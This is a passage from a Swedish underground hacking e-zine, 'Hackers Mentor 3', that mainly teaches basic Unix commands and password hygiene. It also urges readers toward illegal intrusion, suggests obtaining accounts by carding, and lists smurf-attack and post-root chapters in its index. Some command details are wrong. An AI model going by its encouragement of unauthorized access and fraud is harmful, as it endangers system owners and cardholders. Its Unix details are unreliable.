OBS! Denna textfil ingår i ett arkiv som är dedikerat att bevara svensk undergroundkultur, med målsättningen att vara så heltäckande som möjligt. Flashback kan inte garantera att innehållet är korrekt, användbart eller baserat på fakta, och är inte heller ansvariga för eventuella skador som uppstår från användning av informationen.
The third book of Hackers Mentor The Hackers Mentor third book. Step #3. :::: :::::::: ::::::::::: ::::::: :::: The Hackers Mentor 3 Välkommen till den tredje boken av Hackers Mentor.. The Orange book. Hackers Mentor är en serie guider inom hacking, phreaking, cracking, carding och elektronik som har skickats ut till prenumeranter i Sverige. The Hackers Mentor White Book var den första boken bestående av 10 Hackers Mentor delar. Här kommer trean, innehållande en massa nya godsaker! =^)... Hackers Mentor ges ej längre ut som E-Tidning .. Alltså, den skickas inte längre ut som kortare små nummer till en massa svenska prenumeranter, den finns och görs nu endast som bokversion! Nu börjar vi avancera lite! Nu ska vi lära oss om C++ och UNIX! Det blir la rolit?? Det är faktiskt ett MÅSTE! Och om du INTE lär dig detta så kommer du ALDRIG kunna kalla dig för en riktig hacker! Även om det är tråkigt och du inte riktigt hänger med,, så läs vidare! Och läs om och om igen så att du LÄR DIG allt som står i boken! Nu börjar den riktiga hackingen ta vid. Själv, när jag skrev kapitel 1 om UNIX i den här boken, tyckte jag att det var jobbigt och segt.. Men efter ett tag lättar det, efter en liten stund börjar det sitta. Till sist sträcker man på sig, ler och går och hämtar en Jolt i kylskåpet.. Ja!! Jag KAN det! Fy fan va kul. Det lättar, i slutet av UNIX kapitlet, om du läst det, klarat av att förstå allt och kommer ihåg det mesta, så kommer du må bra! /Mathreon. (Numera Icecoder). * Ni tycker kanske att det bara blir svårare och svårare att förstå vad jag menar eller kanske det helt enkelt blir för svårt att komma ihåg allt, Det beror på att jag själv redan kan allt det jag skriver och helt enkelt inte riktigt minns hur jag själv skulle vela ha det skrivet, när jag själv INTE kunde det jag nu skriver om Jag skulle kanske behöva någon av er läsare till hjälp i detta tillfälle. Men läs NOGGRANT! Spänn ögonen på texten och ta på dig tänkarluvan! Det får ta den tid det tar men du MÅSTE, MÅSTE, MÅSTE lära dig det som står! Och jag försöker förklara så gott det går! Dock kan det vara svårt att hålla den takt som ni vill ha,, men det får ni ta! Tyvärr. * OBS: Om du inte har läst bok nummer 1 & 2. The White Book & Yellow Book., och inte heller några andra texter, så rekommenderar jag att du GÖR det! Du hittar alla nuvarande böcker på www.insecurefoundation.cjb.net ELLER www.haxerz.com. Eller www.crosswinds.net/~insecfoundation/main.html BOKEN SER BÄST UT I MICROSOFT WORDS OM DU HAR SKÄRM INSTÄLLNING PÅ 800x600 Bildpunkter och Wordwrapping påslagen. Annars ser den bra ut i HTML format. Du hittar DOC och HTML formaten på vår hemsida. (hemsidor). OM DU EJ SER BILDER, UTAN STORA, TOMMA FÄLT I TEXTEN, SÅ SLÄPP MUSEN OCH VÄNTA LITE, DÅ LADDAS BILDERNA IN PÅ DIN SKÄRM! PS: SKRIV UT BOKEN! DEN ÄR GJORD FÖR DET! DET KÄNNS LÄTTARE ATT LÄSA DEN SÅ. Nu ska vi titta lite på hur ditt kunnande om hacking kommer vara beroende på hur mycket och spritt du läser! Se följande tabell: [Lista 0.1 Hur bra kan du bli?] Då ska vi se En ETTA är det bästa du kan ha här. En sjua är det sämsta! Vilket passar in på dig? Vilket exempel vill du följa? : 7 = Du läser ingenting! Det enda du gör är att leka med NetBus och Kaboom!3 mailbomber och prata med dina lamer kompisar om hur mycket data du kan! ( Du kan FÖÖÖR LITE!!! ) 6 = Du har slängt ett öga på Hackers Mentors tredje del om NetBus. Du beter dig som 7án men läser lite grann om hur man använder Netbus och Winnuke mm.. ( Lamt! Mycket lamt! ) 5 = Du läser varje del av Hackers Mentor men förstår nästan ingenting. Du håller på som 7án och 6án fast lite mer seriöst. Du VILL lära dig! Du VILL låta NÅGON lära dig! Bingo! Du har hittat rätt guide, synd att du inte är tillräckligt smart bara! 4 = Du läser Hackers Mentor och fattar det som står. Du läser dessutom de texter som diox1de (Knash^) gav ut för 1½ år sedan! Ok,, du har en förmåga att fatta och en vilja att lära! Du börjar komma någon vart! (dock programmerar du fortfarande i BATCH, eller?) 3 = Du läser Hackers Mentor, Du läser en massa andra texter om hacking och phreaking och allt möjligt som du hittar på diverse hacking arkiv. Du fattar nästan allt! Du är snäppet bättre men på ungefär samma väg som 4án. 2 = Du läser Hackers Mentor, Alla delar! Du läser en massa annat också (Från GHA´s textarkiv,) du läser och lägger in egna insändare på Flashback och BugTraq. Du läser UNIX böcker och en guide om C++, Du har läst VB och kommer in lite på Perl. Du går till biblioteket varje månad och lånar en ny bok om ett operativsystem eller programmeringsspråk. Bra!! Du är ju på helt rätt väg! Dig kommer det bli något av! Fortsätt på det spåret! 1 = Wow! Du är übern som ägnar STOR tid åt att läsa och lära! T.o.m. större tid än 2´an! (Alltså några timmar om dagen!). Du HAR LÄST Unix, Assembler, VB, Perl, C/C++, alla Hackers Mentor,, du kommer läsa alla senare Hackers Mentor. Text arkiv? Tss! Du har redan tömt alla! Du läser nu ALLT som du kan hitta om data! Du läser t.ex.. Avancerad C++ i nätverk, Atari programmering, avancerad cracking, Systemering, OS programmering, ja ja ja,, du KAN ALLA termer och ord, du VET vad alla förkortningar står för. Du har varit med länge, men slutar inte läsa Du kan allt om firewalls, inet-camera, kan en hel del 3D och Spel programmering, ljussättning, webbdesign, JA! Det mesta! Du har bara PDP datorerna och Atari programmeringen kvar! Om ens det! Du kanske t.o.m. är med och forskar fram ett nytt nätverk? Nya tjänster, programmerar säkerhets software för olika företag.. Så.. vad vill jag få fram här??? Poängen är.. DU BLIR INTE NÅGON ÜBERHAXXOR AV ATT LÄSA ENBART HACKERS MENTOR! Du MÅSTE läsa en hel jävla massa andra saker! Låna böcker, läsa texter och E-Zines, prata med folk på IRC, Du måste tömma vartenda hacking arkiv på texter, läs alla tutorials du - hittar och fråga efter nya på IRC! Men.. vi kommer en lång väg med Hackers Mentor. Dock MÅSTE du läsa en massa andra texter och böcker också! Annars går det aldrig! ( För er som nu sitter och säger, ähh. Fy fan va dåligt. kommer en lång väg med Hackers Mentor.. Hah! Kolla bara,, NetBus, HakTek och anonymt mail! Fy fan va töntigt. De kommer ju ingen vart.. , - Vi är än så länge bara i BÖRJAN av TREDJE boken! Nu ska jag börja tjabbla om UNIX och C++, Låter inte det ganska bra? Vi har ju fan 8 böcker kvar! Ni kan vara lugna,, även om det nu tar lite tid för mig att skriva och komplettera böckerna, så kommer de. Och nästa gång blir den lite mer avancerat, Innan vi slutar ska du i alla fall vara så kunnig att du kan börja jobba som programmerare eller säkerhets ansvarig på ett företag, skryta inför IRC kompisar med dina kunskaper och visa din mackt på betydligt högre stadium än nuking och flooding ! ;-). Jag försöker att hålla boken inom så lagliga gränser som möjligt från och med den här boken. Men lugn! Ni kommer att få lära er lika mycket om säkerhet som förut. Dock lite mer som,, SÄKERHETS aspekt ,,, från den säkerhetsansvariges ögon. I nästa nummer kommer jag bland annat prata om SYN flooding, sniffers, carding och så klart, fortsätta med UNIX och C++. _ INDEX:___________ Kapitel 1: UNIX Använd Unix för första gången. Lär dig behärska systemet och de enklaste kommandona. Kapitel 2: C/C++ Programmering. Lär dig det hederliga hackingspråket C++! Skapa egna program för Windows. Kapitel 3: Inspirations stund En liten saga för att ge mera inspiration att lära!. Tomteverkstaden. Kapitel 4: Vad du gör när du fått root i ett system. Använda Unix och telnet för att gå vidare i ditt hackade system. Kapitel 5: Smurf Attacks Så går det till, så här gör du för att smurfa någon av nätet. Kapitel 6: Mera UNIX Få igång Internet, konfigurera nätet och nätverkskortet. Internet tjänster mm.. Kapitel 7: Dreamhack 2000 HaxerZ har varit på Dreamhack 2K i Borlänge. Nordens / Europas(?) största demo party. Hur var det? Hur gick det till? Nyheter och skvaller ;-). Kapitel 1: UNIX Nu har du passerat så gott som alla de nybörjar stadier du kan tänka dig, och är på god väg att lyckas som hacker. Den här boken kommer även hjälpa dig på vägen till att bli dataexpert på ett företag eller som säkerhets expert hos Internet polisen!. Utan den här boken klarar du dig helt enkelt inte! Du måste lära dig Unix och C++ i vilket fall som helst! Så det är bara att sätta igång! Här är första kapitlet, den första timmen på din väg mot IT Miljonärs jobben! * ALLA HACKERS ANVÄNDER UNIX (?) * Nej, tyvärr. Det stämmer inte. Även om alla säger så. Dock måste en hacker kunna åt minstonde grunderna i Unix för att klara de krav som ställs där ute på nätet. Det är faktiskt så att så gott som alla servrar på Internet använder sig av Unix. Och hur ska du möjligen kunna hacka en utan att ens veta om vad ls, cat och /etc betyder? Innan vi kan höja ribban och börja hacka servers på allvar, behöver vi lära oss Unix. Så nu kör vi igång! (Först, om du inte visste det, så är Unix ett operativsystem, som Windows, fast mer avancerat men mycket bättre och snabbare. Unix utvecklades hos AT&T i USA i slutet av 60 talet). 1. Jag tänker inte berätta hur du installerar Unix / Linux. Det är en halv bok i sig. Det finns många, enkla instruktioner till det när du skaffar systemet. - Så hur skaffar jag Unix / Linux ? Det finns många svar, det vanligaste och billigaste är att ladda hem det. Det kostar sin tid på nätet, men om du jämnför det priset med att köpa systemet i butik, så sparar du många sedlar! Jo. Du kan köpa det i butik. Självklart. www.linuxbutiken.se är en adress som jag tror fungerar, Du kan ju även titta in hos riktiga butiker i stan. Men räkna med kostnaderna! Dock är nog det bästa alternativet att köpa Unix över disk. Några olika varianter av Linux/Unix/*NIX Baserade system är: Slackware Linux ( Bästa valet tycker jag (3.6 rockar ;-) ) SuSe Linux RedHat Linux Dragon Linux ( Test version ) Corel Linux Caldera Open Linux FreeBSD ( BSD System ) System V ( En av de äldsta versionerna av UNIX ) POSIX, HP-UX, Solaris, AIX Detta är bara toppen på isberget. Det finns en MASSA olika versioner! Och det enda sättet att välja på, är att fråga i butiken, läsa på Internet eller rent utav , testa systemen och se vilket som passar bäst för just DINA behov! Innan jag säger någonting mer vill jag bara förtydliga att Linux och Unix är ungefär samma sak, och att det du lär dig här, gäller för både Linux och Unix. UNIX ÄR ETT FLERANVÄNDARSYSTEM Att Unix är ett fleranvändarsystem innebär att flera olika personer kan använda systemet samtidigt. Detta då genom nätverk förståss. Utan nätverk inblandat, är det du, och BARA du som använder systemet. För att du ska kunna konfigurera systemet och få det att göra som du själv vill ha det, så bör du dock ha ett eget konto på den dator du använder. Eftersom att du kanske gillar C Shell bättre än din bror, som också ska använda datorn, så är det ju väldigt bra om det finns två olika konton! Ett med C Shell och ett med Bash. (Som din bror - gillar). Du kan också ha ditt egna konto på en Unix server. Ett Shell konto! (Jag berättar mer om shells senare). Då måste system administratören, (den ansvarige för servern), kunna hålla ordning på sina användare. Därför tilldelas alla användare ett eget inloggningsnamn, lösenord och en viss åtkomst till systemet. Vi kommer i den här boken förutse att du kör Unix på din egen dator, utan uppkoppling, och på ett shell konto som ligger på din egen dator, och inte på en server i USA. ? Hur du skaffar ett shell konto - Du kan på vissa system logga in som anonym användare. Men får då mindre möjligheter att röra dig i systemet, och du kan inte använda det till så mycket. Du kan registrera dig för ett gratis konto, men då kan du heller (i de flesta fall) inte använda kontot för så mycket, och kan inte t.ex. köra en IRC bot på kontot, när du inte själv är online. Du kan hyra ett konto. Då får du större möjligheter att göra saker på servern, och kan köra program som t.ex. IRC bots, även när du inte är online. Dessa konton kostar oftast inte så mycket, men är hemskt användbara. Du betalar en viss summa pengar, en gång varje kvartal, månad eller år, och kontot hålls öppet för dig. Du kan köpa ett konto. Betala lite extra, och du kan få ett konto som består i flera år! Hur som helst.. Från och med denna textsnutt förutsätter jag att du har någon version av Unix/Linux och kör den på din dator. Jag hoppar nu över all historik mm.. Det känns överflödigt! OBS: Det är viktigt att du läser allt och lär dig allt som står i den här boken! Annars går du bara i meningslösa cirklar utan att komma någon vart! 1: Skaffa ett konto på din egen maskin, och logga in! Denna del: ? Logga in och ut ur systemet ? Ändra lösenord ? Välja ett bra lösenord ? Ta reda på vem du är och vem datorn tror att du är ? Ta reda på vilka andra användare som finns i systemet ? Ta reda på vad alla andra gör i systemet ? Kontrollera inställningar, datum och tid. [ En hel del lånat ur boken Unix på 24 Timmar och Know Ware - Linux ] Först, så bör du ju känna till att den första gång du loggar in på systemet använder du det namn och lösenord du valde när du installerade Unix/Linux. Antagligen namnet root. /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ Det första du kommer se när du kopplar upp dig mot ett UNIX system, eller bara startar Unix på din egen dator, är en liten reklam banner med systemets namn, tid och datum. Samt en liten prompt: 4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999 login: Raden login:, frågar dig som du nog förstår, efter ditt konto namn. Om det ser annorlunda ut på din skärm, så kommer du ändå alltid, förr eller senare, till login prompten, där du måste ange ditt användarnamn och lösenord. Var noga med att använda små bokstäver om ditt system inte sagt annat! Ett login vid man Icecoder skulle UNIX se som ett helt annat login än icecoder. : Login: icecoder Password: Skriv in konto namnet och klicka på Enter knappen på ditt tangentbord. [Enter & Return är samma sak! ] Vi nämner tangenten som Enter i den här boken. När du klickat Enter så kommer Password prompten upp. Den vill alltså ha ditt lösenord,,, När du skriver in lösenordet så kommer du själv inte kunna se vad du skriver på skärmen, det är normalt! Bara så att inte din nyfikne kompis ska se vad du skriver, över axeln på dig. Om du skriver in felaktigt lösenord eller login, så kommer systemet svara med Login incorrect och du får, (i de flesta fall) två försök till. Så se till att stava RÄTT och med STORA och små bokstäver på rätt ställen! Exakt så som du fått veta att det ska stavas! Aldrig med mellanslag! När du har loggat in får du se lite mer information om datum, vind och väder.. du vet. Beroende på vilken sorts shell du använder, kommer du få se lite olika varianter av prompter. Den här prompten är i vanliga fall ett % tecken: % - som talar om för dig att systemet är redo att ta emot kommandon. En annan vanlig prompt är $. Det spelar ingen roll.. Din prompt kommer antagligen se ut på ett ungefär så här: 4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999 Login: icecoder Password: Last login: Fri Apr 8 19:32:12 on ttyAe You have mail. [/users/icecoder] : (hackment) 3 : founder@lords.com % Din prompt behöver inte se ut så här, men den har i varje fall en unik egenskap: Den är det första som står på raden där din markör finns, och den upprepas varje gång du har kört ett Unixprogram. Så ditt första Unix kommando: exit För att logga ut ur systemet. Pröva det! Det stänger alla program och logar ut. Sedan får du en ny prompt vid vilken du ska skriva in lösen och login igen! %exit - Quit meddelande visas på denna rad - 4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999 login: Det är också möjligt att du kan avsluta sessionen genom att hålla in Ctrl-D. Vissa skal fångar upp detta och frågar om du verkligen vill avsluta, vissa stänger direkt. ( FÅ ETT KONTO PÅ EN SERVER ) För att få ett konto som du kan koppla upp dig till, (vilket jag rekommenderar) Så måste du antingen registrera ett konto på någon server, eller gå och hämta ett fungerande från www.cyberarmy.com/lists. Man kan dock aldrig lita på att de kontona fungerar, eller så kan de vara under sträng bevakning, och då är det ingen större glädje att hacka från dem. Det finns väldigt många hemsidor och företag som låter dig antingen hyra, eller få ett konto. Förståss är de konton som du kan få gratis väldigt dåliga och fungerar sällan även när du inte själv är online. Men det är alltid en början! Annars kan du ju carda ett konto. Mer om carding i Red Book of HM. Jag förutser att du har ett konto nu. Om du istället är inloggad som root, alltså som den användare som får göra vad han/hon vill i systemet, så kan du skriva adduser kalle för att lägga till en användare med namnet kalle. OBS: Ta bort citat tecknen! (som alltid) När du skrivit den där kodraden får du en massa förfrågningar om olika saker. Fyll i informationen och voella! Du har skapat en ny användare i systemet som inte har lika stor valfrihet och access som root. Du kan använda det nya kontot för att gräva i ditt system utan att ta onödiga risker. ;-). BYTA LÖSENORD Nu när du vet hur man loggar in (förutsatt att du har ett konto!), så kan det vara bra att veta hur du ändrar ditt lösenord. Detta lösenord kan vara väldigt viktigt att hålla hemligt. Så se till att inte skriva upp det på en lapp som du stämplar fast på skrivbordet eller i värre fall, på en gul lapp på skärmkanten! Kommandot för att ändra lösenord är passwd. Det används på följande sätt: % passwd Changing password for Icecoder. Old password: New password: Retype new password: Missmatch password unchanged. % Här är ett exempel. I mitt fall ändrade jag inte lösenordet. Missmatch password unchanged. betyder förståss att jag skrev in felaktigt lösenord och då ändrades det inte! OBS: Du måste vara inloggad på det konto där du vill ändra lösenord! =^). Jag måste genast uppmärksamma dig på säkerhets kraven som du bör ställa på dig själv! För att ingen ska kunna gissa sig till, eller enkelt lyckas cracka sig in på ditt konto, behöver du använda ett trassligt lösenord. Gärna runt 8 bokstäver med både siffror och bokstäver. Dock bör du ju komma ihåg lösenordet! Ett dåligt lösen skulle kunna vara: misse (Som i detta exempel är namnet på din katt) Ett annat dåligt lösen skulle kunna vara: a0a0a0 - Varför det? Frågar du.. Därför att vem som helst skulle kunna råka skriva detta, eller i annat fall, om någon bruteforce crackade mot ditt konto, så skulle crackern snart hitta ditt lösenord! Använd inte gärna enbart bokstäver och siffror som kommer tidigt i alfabetet! Och gör inte lösenordet för kort!! Et exempel på ett BRA lösenord skulle kunna vara: dff9y4hu Wow! Det ser trassligt ut! Hur skulle jag komma ihåg det? - Inte fan vet jag. Men det kan bli en nödvändighet! Du skulle kunna ta, de första tre bokstäverna i ditt förnamn, de tre första siffrorna i ditt hemnummer, Och de tre första bokstäverna i ditt efternamn. (Ditt telefon nummer kanske är 094258831 och du kanske heter Adam Ohlsson): ada094ohl Jag tror knappast att någon skulle testa detta. Men eftersom att jag nämner det här,,, du kan ju ta det lite omvänt: ohlada094 eller adaohl094 eller ada138lho ( Det sista var med de sista tre siffrorna i ditt nummer och ohl Baklänges) Du kan också ta långa meningar som Jag e en leet guru på C++ och förkorta det till: Jeelgpc. - Det skulle bli svårt nog, men du kunde ändå komma ihåg det! Du kommer nog på något! Hur går det? Hänger du med? Jag föreslår redan nu att du går och hämtar papper och penna och börjar dokumentera det du lär dig! Skriv ned alla kommandon som jag visar dig! Du kan behöva en fusklapp senare. Puh! Redan jobbigt. Hur ska du komma ihåg allt? Vi måste kämpa oss igenom den här boken! Sedan blir det rock´n roll! ? Låt det ta tid. Det finns ingen bättre väg en denna. Men ta pauser! Det kan du behöva. Nu,,,, nu fortsätter vi. SE VEM DU ÄR PÅ DATORN Du är inloggad, beredd att skriva in kommandon. Utmärkt! Medan du är inne i systemet kan du passa på att titta på vem du är, eller vem datorn tror att du är. Det enklaste sättet är att använda whoami: % whoami icecoder % Pröva nu detta kommando i ditt system! Detta kommando visar alltså vilket inloggningsnamn som du loggade in dig med. 98% av Unix kommandon ändras inte om du använder mellanslag, men i det här fallet blir resultatet något helt annat. % who am i hackment.servern.edu!icecoder ttyp4 Feb 8 19:54 % Här fick jag veta en del om min identitet i systemet. Prova och se vilket resultat det ger. I det här fallet är hackment den dator jag loggade in mig på och icecoder är som vanligt mitt loggin namn. Hackment är alltså mitt värdnamn! Och servern.edu är resten av domännamnet. Utropstecknet (!) skiljer domännamnet och inloggnings namnet åt. tty är en förkortning för teletypewriter och härnstammar från de riktigt gamla Unix systemen som kördes interaktivt teleprinter. Det står för en dator- eller terminaluppkoppling. Adressen: Hackment.servern.edu. Jag förklarar: Edu = education. Alltså är datorn indragen i någon sorts utbildning. Ett universitet eller liknande. Sedan Servern. Inom nätverket finns en server vid namn Servern som i sin tur hanterar datorn där kontot finns. (Datorn heter Hackment.) Detta bildar då alltså en hierarkiskt adress! Ett annat sätt att ta reda på vem du är i Unix är via kommandot id. Det är avsett att upplysa dig om vilken grupp du tillhör och om ditt kontos användar-ID (uid = user ID). Skriv kommandot id och se vad du får. Jag ser följande: % id uid=211(icecoder) gid=50(users0) groups=50(users0) % OBS: i vissa system används id för att ta fram lågnivåinformation om filer. Här ser jag att mitt kontonamn är icecoder och att mitt användar id är 211. Precis som kontonamnet är användar ID t något helt unikt i systemet. Sedan kan du se att mitt grupp ID (gid = Group ID), är 50 och att grupp nummer 50 heter users0. Och slutligen, att det är den enda grupp jag tillhör. Se vilka som är inloggade Du kan enkelt se vilka som är inloggade med kommandot users: % users icecoder marcos steve xeroz % I det här fallet var icecoder, marcos, steve och xeroz inloggade i systemet. För att få mer information använder vi who: % who icecoder ttyp0 Feb 6 14:10 (limbo) marcos ttyp2 Feb 6 06:52 (calliope) steve ttyp4 Feb 4 12:37 (dent) xeroz ttyp4 Feb 6 13:04 (osiris) Här får vi information om de inloggade! Datum för inloggningen, tid, vilken typ av ttyp som alla är inloggade via och vilka system de är anslutna från. - Det stör mig att xeroz använder samma namn på system som Tsutomu i filmen Operation Takedown! ;-). Om du nu vill se ÄNNU mer information, till och med vad alla i systemet GÖR, så ska du helt klart använda kommandot w: % w - - - - % Här kommer du nu få se en drös information, som jag faktiskt inte orkade skriva. (ok, det är inte SÅÅ mycket, men just nu när jag skriver detta så är klockan 00:49, och jag måste upp klockan 08:00 i morgon, så jag tycker inte att jag har TID, [dock hade jag visst tid att skriva detta!]. hehe,, Du får i alla fall veta i vilka program som de inloggade jobbar för tillfället, samt en del annan info. Kontrollera Datum och Tid För att enkelt se hur mycket klockan är, och vilket datum det är Så kanske vi borde använda time. Men nej.. Testa det kommandot så får du se vad som händer!: % time 14.5u 17.0s 29:13 1% 172+217io 160pf+1w % - Det gav inte så mycket. För att få veta det vi var ute efter, så används date kommandot: % date Tue Feb 5 15:07:42 EST 1999 % Så! Nu fick vi se det vi ville se. Tue = Tuesday = torsdag Feb = Februari = februari 5 = femte 15:07:42 = sju minuter över 3 på eftermiddagen. ( Plus 42 sekunder ). År 1999. Du förstår säkert! ;-). Kapitel 1. Del: 2. Få hjälp i UNIX Nu när du vet hur man loggar in, ut och får en del information om systemet, så är det andra du behöver lära dig i detta nya system, att kunna få hjälp med olika saker. Den här boken räcker väldigt långt, men du kommer ändå i situationer då du behöver veta något som ej stod med i boken. Det finns en del att veta om det första kommandot, man. Som jag nu ska berätta om. Men för att vi ska hinna och orka läsa den här boken tar jag bara med det mest nödvändiga. * ( Jag kommer vidare genom alla Hackers Mentor att prata om Unix och ge dig nya kommandon samt upprepa de som vi tidigare lärt oss. Så du kommer att lära dig Unix bara du läser allt! - Efter alla lektioner i Unix kommer du vara en expert som kan gå till Flashback i god tro! ;-) ). * Man kommandot fungerar som sådant, att du först skriver in man och sedan det kommando som du vill ha hjälp med. Det kan se ut på följande vis: % man mkdir ** EN MASSA INFO OM KOMMANDOT MKDIR KOMMER UPP ** % Här kommer som sagt en massa information att visas. Och det kan se lite olika ut beroende på vilket- -shell/System du använder. Man kommandot är väldigt bra och kan ofta komma till användning. Man är förövrigt en förkortning av Manual. Och täcker varje kommando som finns i hela Unix. Du kan även använda växeln k som står för keyword om du har glömt bort vad ett kommando hette, men mins vad det gjorde. (Mer om växlar senare). För att använda växeln k så skriver man på följande sätt: % man k disk ** % Ni förstår säkert principen. Man sidorna är indelade i nio sektioner. Du ser alla sektioner i listan nedan. Det är till för, att om en du vill ha hjälp om ett kommando som ligger i sektion 1, men det finns ett kommando med exakt samma namn i sektion 3. Då måste du ange vilken sektion Unix ska leta i efter kommandot. Sektion Innehåll 1 Användarkommandon 1M Systemunderhåll 2 Systemanrop 3 Biblioteksrutiner 4 Administrativa filer 5 Diverse filer 6 spel 7 I/O- och specialfiler 8 Administrationskommandon --------------------------------------------------------------------------------------------------------------------------- Ett annat kommando: apropos Med kommandot apropos kan du få en massa information om olika kommandon. Precis som med Man , men lite mer avancerat. Visar filnamn och sånt. =-). Ytterligare ett kommando: whatis Används som: % whatis cd cd[1] - change working directory % Du kan även testa whatis whatis: % whatis whatis whatis[1] - display a one-line summary about a keyword % Här får vi alltså veta: ? Att whatis och cd ligger i sektion 1. ? Att whatis kommandot används för att visa en-rads information om olika kommandon. Så enkelt var det. Andra kommandon som man kan testa i Unix system (när du har lyckats hacka dig in) är: help och ?. Testa med de båda, det första du gör i ett hackat system. För att få fram information om just det aktuella systemets kommandon. (Beroende på skal format mm..). Tips: Vissa kommandon fungerar om du lägger till växeln h. Testa!: % ls h usage: ls [-acdfgilqrstu 1 ACLFR ] home I exemplet ovan (förra sidan). Fick vi veta att kommandot LS kunde användas med växlarna: -a ,-c ,-d ,-f ,-g ,-i ,-l ,-q ,-r ,-s -t ,-u ,-1 ,-A ,-C ,-L ,-F ,-R och -home - I vissa system får vi i stället upp en listning av filer. ( Kommandot ls används för att visa en lista över alla filer i den aktuella eller någon annan katalog). Kapitel 2. Del: 3. Hantera och förflytta dig i filsystemet. ------------------------------------------------------------------------------------------------------------ I denna del: ? Hur listar jag filer och kataloger? ? Hur navigerar jag i systemet? ? Hur fungerar Jed? ,,, texteditorn. ? Omdirigering ? Rörledningar ? Enkel C programmering i Linux. Unix använder sig av ett s.k. hierarkiskt filsystem. Det betyder att det (som i Microsoft Windows/ DOS) har en översta enhet och under den en massa kataloger och i de katalogerna, en massa andra kataloger. En sorts rang ordning. Unix sökvägar ser dock annorlunda ut Windows. C:\Windows Skulle i Unix´s fall ha varit: /Windows Dessutom har man en egen home katalog. En hem katalog alltså. Det är i den hemkatalogen man alltid startar, och man förflyttar sig tillbaka dit genom att skriva HOME och klicka på Enter. För att se vilka andra filer och kataloger som finns i den aktuella katalogen, så använder du kommandot ls.: % ls Archives MAIL RUMORS.18sept InfoWorld News bin LISTS OWL ieecc.list % OK. Här fick jag nu se en massa filer och kataloger. Men hur vet jag vilka som är filer och vilka som är kataloger? Genom växeln F förståss!! Här är en massa andra växlar för ls: (nästa sida). Växel: Betydelse: ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨ -l Framtvinga en fillistning i en spalt -a Lista alla filer (samt dolda) -C Lista i flera spalter -d Lista katalognamn istället för deras innehåll. -F Visa filtyper; / = katalog, * = program, @ = symbolisk länk. -I Lista kataloger och filer i långt format. -m Lista filer i en komma separerad lista. -r Vänd på sorteringen. -R Visa kataloger och deras innehåll rekursivt. -s Visa filstorlekar i block. ( 1 block normalt = 1 024 bytes) -t Sortera utmatningen med de senast ändrade filerna först. -x Sortera utmatningen horisontellt. ¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨¨ Du kan även kombinera växlar. Så, om du vill se alla filer i flera, fina spalter, så använder du kommandot ls tillsammans med växlarna a och C: % ls a C blabla .blabla blabla .blabla .blabla blabla Du ser här att alla filer heter blabla. Men framför vissa är det en punkt. Alla dolda filer i Unix har en punkt framför sig! - Då vet du det. Få se.. vad ska vi ta och lära oss nu då..?? Jo.. Först och främst måste jag presentera de viktigaste katalogerna samt ge dig lite info om vad som finns inuti dem. /bin Förkortning av Binaries. Platsen där Unix förvarar alla sina körbara filer. /dev Dev är en förkortning av Devices. Och i den här katalogen ligger alla Unix drivrutiner. Utan dessa skulle du inte ha någon information på - - skärmen. Därför hör DEV till något av det viktigaste i Unix. /etc Detta är en av hackarnas favorit kataloger! ;-). Här finns bland annat filen passwd som innehåller alla i systemets login namn och lösenord. ETC är lagringsplatsen för alla Unix systemadministrativa filer. Förkortning för etcetera. /lib Unix har en central lagringsplats för s.k. biblioteksfiler (libraries) med funktioner och procedurer. De ligger i katalogen lib. Det är körbara filer som hör till vissa bestämda- -program och hjälper dem med funktioner och kapacitet som de annars inte skulle ha. Tanken är att om ett program vill nyttja en viss funktion ska det kunna anropa den i ett funktionsbibliotek istället för att själva behöva innehålla den. Det finns ett antal fler kataloger, men sorry. Orkar inte ta med dem här och nu. :-/. /lost+found , /mnt, /sys, /tmp, /usr ? Dessa är de som jag skippar. Nu hade jag tänkt att fortsätta med lite kommandon. Du vill antagligen flytta dig lite i systemet och titta på filer mm.. För att se vart i systemet du befinner dig använder du kommandot PATH: $ PWD Du får veta vart du är.. Förflytta dig sedan Med cd eller path: $ PATH HOME Detta tar dig hem till din hemkatalog. $ CD ../ Detta flyttar dig ett steg upp i katalogsystemet. Som sagt, UNIX har ett hierarkiskt filsystem, precis som Windows. C:\Windows\System\ Först kommer C:\. Den översta och första. Sedan kommer Windows\. Sedan System\. Detta är ett hierarkiskt filsystem. När du använder kommandot LS för att lista filer så kommer du se två filer vid namn ./ och ../. ( ./ = Den katalog du just nu befinner dig i . Obetydlig). (../ = En katalog högre.) Den sista, ../ är ganska viktig. Eftersom att du förmodligen- -vill flytta dig uppåt i systemet! Vi säger att du befinner dig i katalogen qwerty som är en underkatalog till hack. För att lista filer i katalogen rewt som också den är en underkatalog till katalogen hack, så skriver du alltså: ls ../rewt Mer om allt detta så småningom. Nu kan det vara lagom att gå in lite mer i vardagslivets sidor av UNIX. En texteditor är väl allt bra vanligt? Det är ju något av det viktigaste i systemet, utan den vore en dator inte en dator. UNIX har många fler texteditorer som standard, följer med systemet, än vad Windows har. Words och Notepad.. Hmms.. UNIX har i alla fall lite fler, Emacs, Pico, Joe, Jed och Vi. Vi ska titta lite närmare på dem. Texteditors En texteditor är antagligen det viktigaste verktyget i Linux och utan en sådan är du helt försvarslös. Det finns ett stort antal editorer och alla har sin personliga favorit. Några vanliga texteditorer: ? Joe Ganska trevlig att manövrera när du lärt dig kombinationerna. Skriv så här: joe hej, skriv in lite text. Tryck på <CTRL><K> och sen på <X> när du vill spara och avsluta. Tryck på <CTRL><K> och sedan 